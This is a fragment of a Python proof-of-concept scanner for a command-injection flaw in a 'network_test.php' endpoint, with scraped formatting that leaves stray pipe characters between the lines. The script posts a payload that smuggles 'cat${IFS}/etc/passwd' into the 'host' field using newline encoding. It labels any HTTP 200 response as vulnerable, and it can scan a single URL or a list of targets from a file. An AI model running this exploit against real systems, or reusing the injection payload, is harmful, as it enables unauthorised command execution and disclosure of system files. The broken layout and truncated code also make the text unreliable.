||
url = url + "/network_test.php"
|
||
response = requests.post(url,data = "host=%0acat${IFS}/etc/passwd%0a&command=ping",timeout=2)
|
||
if response.status_code == 200:
|
||
print(f"\033[92m[+] {url} is vulnerable!\033[0m")
|
||
else:
|
||
print(f"\033[31m[-] {url} is not vulnerable!\033[0m")
|
||
except:

|
||
with open(filename, 'r', encoding='utf-8') as f:
|
||
filecontent = f.read()
|
||
return filecontent
|
||
|
||
if __name__ == "__main__":
|
||
parser = argparse.ArgumentParser()
|
||
parser.add_argument("-u", "--url")
|
||

|
||
args = parser.parse_args()
|
||
url = args.url

||
filename = args.file
|
||
|
||
if sys.argv[1] == '-u':
|
||
poc_scan(url)
|
||
else:
|
||
filecontent = open_file(filename)
|
||
filecontent = filecontent.split("\n")
|
||
for i in filecontent:
